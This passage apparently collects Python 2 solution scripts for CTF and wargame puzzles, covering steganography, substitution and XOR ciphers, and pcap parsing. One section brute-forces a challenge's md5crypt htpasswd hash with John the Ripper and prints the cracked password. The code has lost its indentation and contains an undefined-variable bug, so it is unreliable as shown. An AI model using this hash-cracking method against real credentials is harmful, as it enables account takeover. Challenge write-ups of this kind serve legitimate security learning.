reader = png.Reader('didactrgb.png')
w, h, pixels, metadata = reader.read_flat()
for l in pixels:
print l
print(int(''.join(map(lambda number: hex(number)[2:], [156, 84, 198])), 16))
import png
reader = png.Reader('redline.png')
w, h, pixels, metadata = reader.read_flat()
answer = ''
for l in pixels:
answer += hex(l)
print answer`
import png
reader = png.Reader('greenline.png')
w, h, pixels, metadata = reader.read_flat()
answer = ''
for l in pixels:
answer += chr(l)
print answer
[hacker.org] Text Converter¶
text converter 1¶
import string
a = '''
You must discover what is significant in the following text:
when i found that i was a prisoner a sort of wild feeling came over me. i rushed up and down the stairs, trying every door and peering out of every window i could find, but after a little the conviction of my helplessness overpowered all other feelings. when i look back after a few hours i think i must have been mad for the time, for i behaved much as a rat does in a trap. when, however, the conviction had come to me that i was helpless i sat down quietly, as quietly as i have ever done anything in my life, and began to think over what was best to be done. i am thinking still, and as Yet have come to no definite conclusion. Of one thing only am i certain. that it is no use making my ideas known to the count. he knows well that i am imprisoned, and as he has done it himself, and has doubtless his own motives for it, he would only deceive me if i trusted him fully with the facts. so far as i can see, my only plan will be to keep my knowledge and my fears to myself, and my eyes open. i am, i know, either being deceived, like a baby, by my own fears, or else i am in desperate straits, and if the latter be so, i need, and shall need, all my brains to get through. i had hardly come to this conclusion when i heard the great door below shut, and knew that the count had returned. he did not come at once into the library, so i went cautiously to my own room and found him making the bed. this was odd, but only confirmed what i had all along thought, that there are no servants in the house. when later i saw him through the chink of the hinges of the door laying the table in the dining room, i was assured of it. for if he does himself all these menial offices, surely it is proof that there is no one else in the castle, it must have been the count himself who was the driver of the coach that brought me here. this is a terrible thought, for if so, what does it mean that he could control the wolves, as he did, by only holding Up his hand for silence? how was it that all the people at bistritz and on the coach had some terrible fear for me? what meant the giving of the crucifix, of the garlic, of the wild Rose, of the mountain Ash? bless that good, good woman who hung the crucifix round my Neck! for it is a comfort and a Strength to me Whenever i touch it. it is odd that a thing which i have been taught to regard with disfavour and as idolatrous should in a time of loneliness and trouble be of help. is it that there is something in the Essence of the thing itself, or that it is a medium, a tangible help, in conveying memories of sympathy and comfort? some time, if it may be, i must examine this matter and try to make up my mind about it. in the meantime i must find out all i can about count dracula, as it may help me to understand. tonight he may talk of himself, if i turn the conversation that way. i must be very careful, however, not to awake his suspicion. midnight.--i have had a long talk with the count. i asked him a few questions on transylvania history, and he warmed up to the subject wonderfully. in his speaking of things and people, and especially of battles, he spoke as if he had been present at them all. this he afterwards explained by saying that to a boyar the pride of his house and name is his own pride, that their glory is his glory, that their fate is his fate. whenever he spoke of his house he always said "we", and spoke almost in the plural, like a king speaking. i wish i could put down all he said exactly as he said it, for to me it was most fascinating. it seemed to have in it a whole history of the country. he grew excited as he spoke, and walked about the Room pulling his great white Moustache and grasping anything on which he laid his hands as though he would crush it by main strength. one thing he said which i shall put down as nearly as i can, for it tells in its way the story of his race. "we szekelys have a right to be proud, for in our veins flows the blood of many brave races who fought as the lion fights, for lordship. here, in the whirlpool of european races, the Ugric tribe bore down from iceland the fighting Spirit which Thor and wodin gave them, which their berserkers displayed to such fell intent on the seaboards of europe, aye, and of asia and africa too, till the peoples thought that the werewolves themselves had Come. here, too, when they came, they found the huns, whose warlike fury had swept the Earth like a living flame, till the dying peoples held that in their veins Ran The blood of those old witches, who, expelled from scythia had mated with the devils in the desert. fools, fools! what devil or what witch was ever so great As attila, whose blood Is in these veins?" he held up his arms. "is it a wonder that we were a conquering race, that we were proud, that when the magyar, the lombard, the avar, the bulgar, or the turk poured his thousands on our frontiers, we drove them back? is it strange that when arpad and his legions swept through the hungarian fatherland he found us here when he reached the frontier, that the honfoglalas was completed there? and when the hungarian flood swept eastward, the szekelys were claimed as kindred by the victorious magyars, and to us for centuries was trusted the guarding of the frontier of turkeyland. aye, and more than that, endless duty of the frontier guard, for as the turks say, 'water sleeps, and the enemy is sleepless.' who more gladly than we throughout the four nations received the 'bloody sword,' or at its warlike call flocked quicker to the standard of the king? when was redeemed that great shame of my Nation, the shame of cassova, when the flags of the wallach and the magyar went down beneath the crescent? who was it but one of my own race who as voivode crossed the danube and beat the turk on his own ground? this was a dracula indeed! woe was it that his own unworthy brother, when he had fallen, sold his people to the turk and brought the shame of slavery on them! was it not this dracula, indeed, who inspired that other of his race who in a Later age again and again brought his forces over the great river into turkeyland, who, when he was beaten back, came again, and again, though he had to come alone from the bloody field where his troops were being slaughtered, since he knew that he alone could ultimately triumph! they said that he thought only of himself. bah! what good are peasants without a leader? where ends the war without a brain and heart to conduct it? again, when, after the battle of mohacs, we threw off the hungarian Yoke, we of the dracula Blood were amongst their leaders, for our spirit would not brook that we were not free. ah, young sir, the szekelys, and the dracula as their heart's blood, their brains, and their swords, can boast a record that mushroom growths like the hapsburgs and the romanoffs can never reach. the warlike days are over. blood is too precious a thing in these days of dishonourable peace, and the glories of the great races are as a tale that is told." it was by this time close on morning, and we went to bed. (mem., this diary seems horribly like the beginning of the "arabian nights," for everything has to break off at cockcrow, or like the ghost of hamlet's father.) 12 may.--let me begin with facts, bare, meager facts, verified by books and figures, and of which there can be no doubt. i must not confuse them with Experiences which will have to rest on my own observation, or my memory of them. last evening when the count came from his room he began by asking me questions on legal matters and on the doing of certain kinds of business. i had Spent the day wearily over books, and, simply to keep my mind occupied, went over some of the matters i had been examined in at lincoln's inn. there was a certain method in the count's inquiries, so i shall try to put them down in sequence. the knowledge may somehow or some time be Useful to me. first, he asked if a man in england might have two solicitors or more. i told him he might have a dozen if he wished, but that it would Not be wise to have more than one Solicitor engaged in one transaction, as only one could act at a time, and that to change would be certain to militate against His Interest. he seemed thoroughly to understand, and went on to ask if there would be any practical difficulty in having one man to attend, say, to banking, and another to look after shipping, in case local help were Needed in a place far from the home of the banking solicitor. i asked to Explain more fully, so that i might not by any chance mislead him, so he said, "i shall illustrate. your friend and mine, mr. peter hawkins, from under the shadow of your beautiful cathedral at exeter, which is far from london, buys for me through your good self my place at london. good! now here let me say frankly, lest you should think it strange that i have sought the services of one so far off from london instead of some one resident there, that my motive was that no local interest might be served save my wish only, and as one of london residence might, perhaps, have some purpose of himself or friend to serve, i went thus afield to seek my agent, whose labours should be only to my interest. now, suppose i, who have much of affairs, wish to ship goods, say, to newcastle, or durham, or harwich, or dover, might it not be that it could with more ease be done by consigning to one in these ports?"
'''
answer = ''
for l in a:
if l.isupper():
answer += l
print answer
text converter 2¶
import string
a = '''
in cryptography, a substitution cipher is a method of encryption by which units of plainteXt are suBstituted with ciphertext according to a regular system; the "units" may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. the receiver deciphers the text by performinG an inverse substitution. substitution ciphers can be compared with tRansposition ciphers. in a transposition cipher, the units of the plaintext are rearranged in a different and usually quite complex order, but the units themselves are left unchanged. by contrast, in a substitution cipher, the units of the plaintext are retained in the same sequence in the ciphertext, but the units themselves are altered. there are a number of different types of substitution cipher. if the cipher operates on single letters, it is termed a simple substitution cipher; a cipher that operates on larger groups of letters is termed polygraphic. a monoalphabetic cipher uses fixed substitution over the entire message, Whereas a polyalphabetic cipher uses a number of substItutions at different times in the message such as with homophones, where a unit from the plaintext is mapped to one of several possibilities in the Ciphertext. substitution over a sinGle letter simple substitution can be Demonstrated by writing out the alphabet in some order to represent the substitution. this is termed a substitution alphabet. the cipher alphabet may be shifted or reversed (creating the caesar and atbash ciphers, respectively) or scrambled in a more complex fashion, in which case it is called a mixed alphabet or deranged alphabet. traditionally, mixed alphabets are created by first writing out a keyword, removing repeated letters in it, then writing all the remaining letters in the alphabet. a disadvantage of this method of derangement is that the last letters of the alphabet (which are mostly low freQuency) tend to stay at the end. a stronger way of constructIng a mixed alphabet is to perform a columnar transposition on the ordinary alphabet using the keyword, but this is not often done. although the number of possible keys is very large (26! = 288.4, or about 88 bits), this Cipher is not very strong, beinG easily broken. provided the message is of reasonable length (see below), the cryptanalyst can deduce the probable meaning of the most common symbols by analyzing the frequency distRibution of the cipherteXt frequency analysis. this allows formation of partial words, which can be tentatively filled in, progressively expanding the (partial) solution (see frequency analysis for a demonstration of this). in some cases, underlying words can also Be determined from the pattern of their letters; for example, attract, osseous, and words with those two as the root are the only common enGlish words with the pattern abbcaDb. many people soLve such ciphers for recReation, as With cryptogram puzzles in the newspaper. accordinG to the unicity distance of english, 27.
'''
answer = ''
for l in a:
if l.isupper():
answer += l
print answer
_trans = string.maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZ','AHWREFEHSJKVMNOPIASTUVNTYZ')
print string.translate(answer,_trans)
how is your Garmmer?¶
import re
data = {
"A" : "is",
"B" : "mm",
"C" : "oo",
"D" : "rgr",
"E" : "ryg",
"F" : "dth",
"G" : "you",
"H" : "esol",
"I" : "ionA",
"J" : "GDaBarA",
"K" : "veECFHutI",
"L" : "PQ",
"M" : "n",
"N" : "m",
"O" : "oaNcho",
"P" : "MO",
"Q" : "NR",
"R" : "sky",
"S" : "JKL",
}
_FS = 'S'
while bool(re.findall('[A-S]',_FS)):
tmp = re.findall('[A-S]',_FS)
for l in tmp:
_FS = re.sub(l,data[l],_FS)
print _FS
Quest A Warmup¶
import string
text ='''tulgqBmqBvuqbdhpslBtuclBmpBjpBfuzclstBjgsCBuztBxhtjBmpBvpfgzepBjpBbpctBdpgccqBehfk.BhBxpstBtuBjheBjuzepBgsqxgqBtuBezdodhepBjhmBxhtjBjumpmglpBeuzo.BhBxgckBhsBtuBjheBduumBuscqBtuBbhslBjhmBjuukhsCBzoBxhtjBmqBehetpd.BejpBfgstBldhap.BuzdBmumBlduapBjpdBtjpdp.'''
print set(text)
_trans = string.maketrans('.CBacbedgfhkjmloqpsutvxz',".g vlfsracikhmdpyenotbwu")
print string.translate(text,_trans)[0:25]
Quest B¶
import string
text ='''yBbhbbzGbaDvFvyahzDkwayhExEvhfvsGshopsshGDkAhgpdhfDByvhqkbFazDEpanhfpyhspbyzhdkcbDzihDvhkdmkzvEhAvhpdEhsbjhBGxzhgBFhzDkyhpwahgvwfwhfvaveyhpcBhpyhfavaGsalsahpyhzaDvhBzDvFhzwfBhfDkzvhExElvyhkadhzDklyhokznhfDBhfvhapFGvbhgFklvdbEyhfkzDihpdnfpnhykdovhzDwvhBzDvFahzfBhfGDkazlGvhExEvyhkdbhzDakyhokznhpFvhbDGvplEkdchDbBAvhgBFhzDvhDaGaBskEpnaayhBxlFhaAxbzxpshgFkvdEyhEvlokEGGvEhzBahzDFBfhpahspyzhAkdxzGvbhCpFznGhGgBFhzDvAiayBhpbdnalGfapanhzDkyhCxzylhxybhfDkazvhaCvBbCsllvhkGdhphqkzhaBghpdhpfefaGpaFwwaEhCbBykzkBdiGiifvFavaGahpzhapadBzDvFhbbEkddvFhaaafkzDhBGxlFaGhgFkvdEyhfDlklsvhgpdGhwkbyhvuCvozkdbchxyhzBahqGvlhlGpzahDkyhGlbEkdGadvFihqnhzaDvhfpnhdBqBlEnahFvpssnhskevyhgpadihkAhCbFvzznhyaxFvhDvhBdsnGhswkevbyhxyhqvopxyvhfvFvhfwDakzvGhpdEhDvGhfpdzayGhzBhlGlbyDBfhGBgghzlDpzhDvyhcBzhgBFvkcdhgFalkvdEyihpzhqpywevbzqlpsshaGwnvyzvFEpnhDvbhafpyahekdEhbBghqvkdclhlplhjvFehGzaBhlAvhpdEhzFnkadclhzBahgBFovhAGvhzBwhzpasehGzBhzDvylvwhFpbdEBAhcbkFlsyihFvcpFEswwvGyyahAnhCBykzkbBdhBdhazDvhfDBasvlGhzDkdchfpyhlzDpzGhyGlkdloGvhkzhaflpyhlGDkybhwqakbFzDElpnaahfvaEhbsvzhDkAhDpmvhDkaayhbqkachEpnhpdEhsvzhbDakAlwGhyDBfhxyhBaggbhzwBhDkybhgFkGvdEyiiihaaqxGzbhdBafhfalavwFGvhpzhpdBzDvFbbhCwpFzniyBahpdbnfpnhfvhcvzhFvGGpssnGhEFxdehBdbhqplkjkBhfDkoDhkGyhzDkyhEkycxywGzkadchgvFAvdzvEhFakovhfkdbvhkzyhpqBxzhDapsglhpsaoGBDBbshpdEhkyhjxyzhGzlvFFkbqsvhpdEhvmvFnBdvyhcvzzkaabladbchsGBxEahpdEhdBkynhpdlEahfwvhevGvaChzvuzhAvyypGckdchgpdhzvsskdGchDkAhfvsashqvhspaaGzvlhgBFhDkyhCwpaFwzlnhvzoGhGvzohpldEhzDvdhGAkFbpbGaoGxlsBbbxysnhphsBwlzhBghqvavFhyDGBGfGGyhxCillhspyzhadkcDazhfpyhzDvhbgkFyzhldkcDzhzDpzhkhplozxpssnhgvszhslkGGevhEFkdekdcbhykdbovhkmavhqvlvdhDvFvGhapGdEhGdBfhzaDbavaFvyhqvbbvFhyBhkhjxywzhpyyxAavhgpGazvahfpdzyhzBhwzpevhzDvhfbDvvshpdEhakahcBhpsshBxzikdahoDkdphzDavhFxsvhkGyhzDGGpzhfDavldbhyBAlvaBdvhaoDbwvvFGyhnBxhfDbkoDhkyGhGCsvdznhpdEhBgbbzvdhnBxhdvvEhzBhEFkdehwzDvhGbypAvhpABxdzhzDlpzhzwDvhaBzbaDvaFhCvaFyBadhaEBvyihlpdwEhfDklsvahabBxFhgFawakvdElayhpzbhbzDkayGhEkddvFhaoapdhCFBbqpqasnhyoDBBswhAvhGfbkzDhaqpkjakwBhzDavFvhabpFvGhovFzpkGdhazDkdcyhanBxhyDBxsEhdvmvFhElGBhBdvhwBghGzawDvAahqvkdcabhzFnkwdchzBhBxzEFlkdehphopdpEkapadGhfwDvdhzDvFvhbkyGhqvvFhCFvyvdzikAhlplsFGlvGpEnhCFavzznhEFxdGaehyBhkahbwyzapFzhfkzDhzDvahbqkccvyzwhcxnhzaDvGFvhbpdEhqlpykGopassnhkhcvzhDkAhylBGhEFxdehzDpzhaDvhgpssyhEBfdhpdhvladzkFvbhagskcDzhBghyzapkFyihzDvdhfbDvdhkGhoDxchpwldaBlzDvFahtxapFlzahBghGaqGvblvFhGpdEaahlzDkyhBzDvFhExEvhopdzlahEBhaakzhlDkyhgFkbvdaEyhDGBsEhDakabAhGEBfdGhCFnlhDakyhABlxbzDhBCvdhwpdEhdbvpFsnhbEFBfdhDkAiGbhkzhfpayhpozbxapssnhbekdElhBgGahyopbFnihzDvhdkcDzaGyhcBkdclhCasvpypdGazsnhvbdBxcDihBabxFhgFlklvdaGEybwahApeawvhphGqakchayCvvoGaDhfaDksvhakwbAhlkdahGzDvhaGqpzDFaBaBAhpaqBxzwahDBfbhdBaqwBEalnGhsGkGbGevyhlgpdipdanfpbnhCFvzzanhayBlGBdhaCbvBCbsaavhyfGakzGoDahzBhBaFpdcvhjwxkovhfDaakoDGbhkyhphGykcdhzDpzahafvFvbhpsashFabGvpwEnGhzBhcBiGhflvhpywyxlAavhlfvsshqvGhpqsvGhzBhaacBhzlBhgpladyahCpFznhCFvzawznhyBBdialwhafvhsvpmbvhzDavhaDaBzvshpdEhzaDvadhyaxEEGvdasnhbBxFhlglGFkvadEyhEbvlokEvhzBhoBAvihwkAhaphqkzhfwpabFbbnahqGxwzhfwpbnabhzGaBBhEGFxdebhaazBhayCaavpeahyvdzbvGdowvyihfvhcvzhBxFhaEFkaamvFhazBhCxsshpFBxadlEhgaFlBadzhfkzDhwzDvhmaGpdhpdEhpssahCksvahkdhpdlEhfavFvhBgGghzBhzDvhdvbuzahCpFzGniaalfvhcvzawhzawDvFvhpdEahzDvFvyhgpdhpdEhGskevhzfvdznalbhBghDkyhlcpaadcGsnwhskzzsvhgFkvdEybihzGDavnhpsshsBBehpqBxzhdkdvabzvvdhnvpGFyhBsEhgpGadyhzfvdGzniihzkdlnahsbkzzsvhebkEyiihpwsshBghBxFhGgFkvdEyhpGFvhkdhlzbaaDavkFhspazGvhzbDkFzlkvyhBFhgBFlzakvyhGyBhzDvnaaFvhCFwvzznhAxoDahcaFBfdhxCiahzDvFvywhzDkbyhlckpdzhqvGapxzbkgxashqkFzGDbEpanhopevhkdhzDvhAkEEsvbbhaBgahzDvhzpqsvihgpdhsBBeyhFvpssnhDpCCGnihfavhcFpqhaaapsshGazDvhlqlvvFhpllmpksbpqsvahapdEhykzhEBfdhbpadEbhzDvdGhBdvbbhBgGhBxFhgFkvGdGElyahqapykopssnhjaxyzGbhFvapoDvyhkaGdzBhaazDvahAlkEEsvahBlghzDvhzpGaaqswvahCkoeyhxChazDvhopelvaGhpGdaEhqpykoGwpsaslnhljxGyzGhgxoekadchyaApyDvyhkzhkdzBhgbpdyhgapovhkdGhgFBdzhBghpsshDklyhgFkvdEylihpdEhzDvdhfvahwpsshaqpykopssnhGjxyzhcavazhxChlpdEbhlsvpmvhfkzDhpwsshDkayhqvvFihbkhgvsazhekdEhBbghqpEli'''
li = ''
for l in set(text):
li+=l
print li #ACBEDGFacbedgfihkjmlonqpsutwvyxz"
#_trans = string.maketrans('ACBEDGFacbedgfihkjmlonqpsutwvyxz',"`~!1@2#3$4%5^6. &7*8(9)0_-+=|[{;")
_trans = string.maketrans('ACBEDGFacbedgfihkjmlonqpsutwvyxz',"mpodh r g knfw. ijv cybalxq esut")
# q
print string.translate(text,_trans)
[hacker.org] XOR Cipher¶
XOR Cipher1¶
_encode = '3d2e212b20226f3c2a2a2b'.decode('hex')
text = ''
for l in _encode:
m = l.encode('hex')
m = int(m,16)^79
text += chr(m)
print text
XOR Cipher2¶
_encode = '948881859781c4979186898d90c4c68c85878f85808b8b808881c6c4828b96c4908c8d97c4878c858888818a8381'.decode('hex')
for x in range(255):
text = ''
for l in _encode:
m = l.encode('hex')
m = int(m,16)^x
if 31<m and m<128:
text += chr(m)
if len(text)==len(_encode):
print text
XOR Cipher3¶
_encode = '31cf55aa0c91fb6fcb33f34793fe00c72ebc4c88fd57dc6ba71e71b759d83588'.decode('hex')
for x in range(255):
for y in range(255):
tmp = x
text = ''
for l in _encode:
m = l.encode('hex')
m = tmp ^ int(m,16)
text += chr(m)
tmp = (tmp+y)%256
print text
XOR Long Cipher¶
- 키 길이 4바이트
- 평문 첫 바이트는 키 첫번째 바이트로 암호화되어 있음
- 평문 다섯번째 바이트는 키 첫번째 바이트로 암호화를 얻을 수 있음
_encode = '8776459cf37d459fbb7b5ecfbb7f5fcfb23e478aaa3e4389f378439aa13e4e96a77b5fc1f358439df36a4486a03e4381b63e5580a66c0c8ebd6d5b8aa13e459cf34e4d9fa67f02cf90714288a17f589abf7f5886bc705fcfbc700c96bc6b5ecfb7775f8cbc68499daa3f'.decode('hex')
_list = ''
_key = 'd31e2cef'.decode('hex')
for num in range(len(_encode)/4):
_list += _encode[4*num+3]
for x in range(255):
text = ''
for l in _list:
m = l.encode('hex')
m = int(m,16)^x
if 31<m and m<128 and m!=36 and m!=92 and m!=59:
text += chr(m)
if len(text)==len(_list):
print x
print text
papua
# 211 T hhay rt seunr uCrlooodo # 30 hcea f eFt rs Paoaannuiv # 44 iirskoobsohoy wia.ntts rse # 239 sp efuy.rinoaesp gui y cr
Feedback Cipher¶
_encode = '751a6f1d3d5c3241365321016c05620a7e5e34413246660461412e5a2e412c49254a24'.decode('hex')
text = ''
for l in range(len(_encode)-1):
x = _encode[l].encode('hex')
y = _encode[l+1].encode('hex')
m = int(x,16)^int(y,16)
text += chr(m)
print text
Feedback Cipher 2¶
_encode = '310a7718781f734c31425e775a314f3b40132c5122720599b2dfb790fd8ff894add2a4bdc5d1a6e987a0ed8eee94adcfbb94ee88f382127819623a404d3f'.decode('hex')
for x in range(255):
k = (0x3f+x)%0x100
text = ''
for l in _encode:
l = l.encode('hex')
l = int(l,16)
m = l ^ k
k = (l + x) % 0x100
if 31<m and m<128:
#print chr(m)
text += chr(m)
if len(text)+1==len(_encode):
print text
base7 convert¶
a = 28679718602997181072337614380936720482949
def convert(n, base):
T = "0123456789ABCDEF"
q, r = divmod(n, base)
if q == 0:
return T[r]
else:
return convert(q, base) + T[r]
print convert(a, 7)
[wargame] crack crack crack it¶
htaccess¶
잊어버린 패스워드를 찾는 문제인데, 패스워드 앞 부분 7글자 G4HeulB 이 주어졌습니다. 그리고, 나머지 글자는 슛자와 알파벳 소문자로 이루어졌다는 힌트도 있습니다.
blueh4g:$1$mXg0v2ao$DoP2Om1NrTvNmuz5fy8LJ1
John The Ripper라는 브루트 포싱 공격 툴을 하여 패스워드를 찾을 수 있습니다.
현재 문자열 앞에 문자열 7글자가 힌트로 제공되었기 때문에, 7글자 이후 문자열을 브루트 포싱하여야 합니다.
John The Ripper 기능 중 입력 값에 대한 정규 표현식 지원이 없어 python으로 입력 값에 대해 print로 출력을 하고 stdin으로 입력값을 받도록 합니다. (입력값 리스트를 파일로 저장해서 wordlist 옵션을 사용해도 됩니다.)
import itertools
alpha = 'abcdefghijklmnopqrstuvwxyz0123456789'
MAXLEN = 5
for l in range(MAXLEN):
for m in itertools.product(alpha,repeat=n):
print 'G4HeulB' + ''.join(m)
실행 결과 다음과 같이 패스워드를 출력합니다.
$ python str_in.py|john -stdin htpasswd
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 12x])
Warning: OpenMP is disabled; a non-OpenMP build may be faster
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
G4HeulBzca0 (blueh4g)
1g 0:00:00:35 0.02838g/s 34545p/s 34545c/s 34545C/s G4HeulBzcal..G4HeulBzcbw
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Traceback (most recent call last):
File "str_in.py", line 8, in <module>
print 'G4HeulB' + ''.join(m)
IOError: [Errno 32] Broken pipe
[websec] crypto¶
http://www.guballa.de/vigenere-solver
oi eewde .lvwlsytynnb hr in n rte D e lsouoae tt.ulisobehmer,I iubucvroe olfoeeta a m egY mtn
2v2w3z2yJsJwajTiaqIpILErELEM5pyqyo0
MISC¶
[hack-me] kakao game¶
import dpkt
import base64
cap_file = open('./kakao game.pcap','rb')
test_cap = dpkt.pcap.Reader(cap_file)
for ts,buf in test_cap:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
tcp = ip.data
if tcp.dport == 80 and len(tcp.data) > 0:
try:
http_req = tcp.data
print http_req
except:
continue
if tcp.sport == 80 and len(tcp.data) > 0:
try:
http_res = dpkt.http.Response(tcp.data)
#print http_res.body
if 'eyJzd' in http_res.body:
print base64.b64decode(http_res.body)
except:
continue
[hack-me] neutron star¶
from PIL import Image
img = Image.open('prob7_1DDE562BA7F6A03EB39F42F76BF05098.php')
img = img.convert('RGB')
w = img.size[0]
h = img.size[1]
cnt = 0
ans = ""
temp = 0
for i in range(h):
for j in range(w):
r, g, b = img.getpixel((j, i))
if r==250 and g==255 and b==240:
cnt+=1
if cnt%2==1:
ans += chr(j)
temp = j
else:
ans += chr(j - temp)
temp = 0
print ans
[wechall] enlightment¶
or¶
or 계산결과 특정 접속 페이지가 나옵니다.
r = '''000000000110000001100000000000000000000001000000
000100000000000001110000001001000010000001101001
000100000000000000101001011001010110010000100000
000000000000000001010100000000000110001000100001
001011000110000001010000001000000010100100000010
000000000000000000001001000000100111010000100001
010000000110000101000010000101000110000101000110
001000000010000000000100000000100001011100000101
011010000010100000100000011001000000000100000000
010000100010111000000000011101000000001000100000
000101000110000001000001001000000000011000100100
010110000111010000100000001000110111010001000001
001001110100010000001100000000000100011000100011
001000000111010001001000011000010101000001000101
001100100000100100001010000000000010000100000000
000100000011000100100001001100000011000000010000
000100010010000000000000001000010000000000100000
001100010001000000000000000000000010000000110000
000000010001000000010001000000000001000000110001
000000000000000100110000000000000010000000001101
000010000001000000010000001000000010000000110000
000000010000000000000001001000000001000100100000
000100000010000100010001000000010001000000110000
000100010011000000000000000100010000000000000000
000100000000000000000001001000010000000000110000
001100010000000000110000000010000000000000000000
000000000001000100110000001000000001000100000000
001100000001000000100001001100000001000000100000
001100000011000000010001001000000010000000010000
000100000010000000000000000000000001000000100000
000100000011000000010001000000000010000000010000
000100000000100000001000001000000011000000010000
000100000000000000000000000100000011000000000000
001100010010000100010001000000000001000000000000
000000000011000000010001001100010011000000000001
001100000001000000110000000000000001000000010001
001100000001000000110000000000000001000000000001
00000000'''
g = '''010000010110100000100000000000000000000000000001
011001000000000001000000001001000100010000000100
001000100000000000111001010001100110000000000000
001001010100110000100000000000000011001101001001
011000000010010100000000010000000010100000100110
011001100010000001101000010001000100000001000101
001100100010000000100000001100000010100101100000
000001010000000100001000000010000101011100100001
010001000100110000100000010000000010011000000000
011000000000110100000000000100000110111000100000
011000000010000001000100000000000110110001000101
000100000011000000000000001100000001000001100001
011000000110010100001100000000000100010101000101
001000000000010001101000000001010111001001100100
000000000000110100000000001100000000000000010000
001100000000000000110000000100000000000000010000
000100000000000100010000001100000001000000010000
000000000001000000010001001100000001000000110000
001100000010000100100000000100000001000100000001
001100000001000100100000000100000011000000001000
000000100010000000110000000100010001000000010000
001000000011000000010000000100000011000000010000
000000000001000000010001001100000010000100110000
001000000001000000110000001000000011000000110000
000100000001000000110001000100010011000000100000
000000010000000000000000000001000000001000110000
001000010011000100100000001100000010000100010001
000000000000000000000000001000010010000000010000
001000000000000000000001000100000001000000100001
001000000010000000110000000000000011000000000000
000100000010000100110001001100000000000000110001
000100000000110000001000000100000001000000000001
000100000011000100010001000000010010000000110000
001000010010000000110000000000000001000000100000
001100000010000000100001001000000000000000010000
001000000011000000000000001100000011000100010001
001100000010000000010000001100000000000000001000
00001000'''
b = '''010000010100000001100001001000010010000000001000
010001000010000001010011011000010110000101000001
011000110010000001100000010011010001000100000000
011000110010001100110100001000000101001100101110
010010010110000101100100001010000110100001101100
001000010000000000100000001010100001000000100101
000100000000010000010011010001000000000001101100
010001100000000100000101000010000000000101100101
011001000110000000100000001100000100111100100000
010001010100101000100000010001000000101100100000
001000000000100000100000000000000110010001100000
011010000010000000000000010000000010000001100000
000001010000010100101000001000000010011100001110
001000000011000000001000000001000001001000000100
000010100000010000001010000100000001000100100000
000000000001000000000000000000000011000000100000
001000000001000000100000001000010011000000100000
001100010011000000100000000000010001000000100000
000100010000000000010001001000000011000100000000
000000000011000000010000001000000001000000001001
000010000000000000000000001000000000000100010000
001100000001000100100001001100000010000000010000
001000010010000000110000001100000010000100110000
000000000000000000100000001100000000000100110000
001000000011000000100000001100000000000000000000
001100010011000000010001000001010000100000000000
000100010010000100000001000100000010000000100000
001100000011000000010000000100000010000000110000
001100010010000000110000000000000010000100100000
001000000001000100010001001100000000000000010000
001000000010000100100001000100000011000000110000
001000000000010100000010001000000000000000110000
001000000001000100100000001100000000000000110000
000100000001000100100000001100000011000000110000
001000000010000000000001000100010011000000100000
000100000011000000000000000000000000000000100000
000000010010000000000000000000000010000000001100
00001010'''
r = r.replace('\n','')
g = g.replace('\n','')
b = b.replace('\n','')
all_or = ''
for i,j,k in zip(r,g,b):
all_or += str(int(i,2)|int(j,2)|int(k,2))
or_str = ''
for l in range(len(all_or)/8):
or_str += chr(int(all_or[8*l:8+8*l],2))
or_str = '''01001100011010010110011101101000
00110111010111110100110001100101
01110110011001010110110000110010
00101110011100000110100001110000'''
or_str = or_str.replace('\n','')
or_str2 = ''
for m in range(len(or_str)/8):
or_str2 += chr(int(or_str[8*m:8+8*m],2))
print or_str2
xor¶
xor 계산결과 정답이 출력됩니다.
r = '''001111111000110110000110001011110011010010000000
110100111001010001010101010110000000101111110010
011100010011110001101000000010100101010101011110
100101001001100000100000001000010000111001010110
110011000110011011000010101010010001100111011110
011011011100101001101100100000110001010101001111
100100100100100011000000000001100101001100110000
110111000000001101010101100110101110000100100011
100011000100011010001011011011101101110000001000
110001011100000110011100110010001010100110010100
001111001101000001001111000111010100000000100000
110010000110110110010101011101101101110101111110
101110110110000101100000000100000000100110010100
100111000100010000100111001110011000000010100110
101111101010000100001111101110110100110100000010
000101110100010010001001100001011111101011001000
110000001001101011000100010101100111000010000110
110010111011001100000001000100001000010010000010
10011001010000100011100101011110'''
g = '''001000111110001110011011010011010000001011011110
101000001110000110100010001001011111010110011011
100001010100011000010001010110010010100110000010
101010110011011101000111011100100000010000111010
001110001000101010010000110001111100011100100001
000110101001011000011110001000101000011001000111
111000011010010010110000001000010001110100001000
100000011000100011010001101011000001110101000100
101110110000001101001001110110110011011110011101
101011110000100100110001000100011000000001011001
000000010010011110000100100110100001000101000100
010101010101001000000000011110011101010011011001
110100001000100000000110001101111010000001000000
111100101010100001001000001101110001101001001001
110001111101001100001100001000100100001010010000
110000010011000111001100001110101000011000111100
001100011010011110100010010110000000110111111101
111000010000100110011100110000001110110000111001
10000100101100011100101011101100'''
b = '''010010000001110001110100000100100101101000111011
010111100010110111011010001100101010110001000101
110101000000100000010000001101000001010010101000
000000001010001001101101000101000111100000001001
100101011001100001110011010011101001011010011010
000001010011100101010010110010001110000000101000
000001001000010000010001010100110110111001000001
001100101111111010100100010001011001010000001000
010000100010100110100110100101011000100111110000
010010101010010011000010101101100100001010100100
010100111001000011101011111000010011111000010110
101100110001000110111011000000100000001110000101
001011001000000000001011010010101100110010001011
001010101000110100110000010000101111001110001000
000100010000011000100001100101000000010111110111
101110000000000100100000110011010101110010000000
100110010101010000010101001011100001110000001000
000010101100101011111100101000110001101111001100
01110010100000011001011110010011'''
r = r.replace('\n','')
g = g.replace('\n','')
b = b.replace('\n','')
all_or = ''
for i,j,k in zip(r,g,b):
all_or += str(int(i,2)^int(j,2)^int(k,2))
or_str = ''
for l in range(len(all_or)/8):
or_str += chr(int(all_or[8*l:8+8*l],2))
print or_str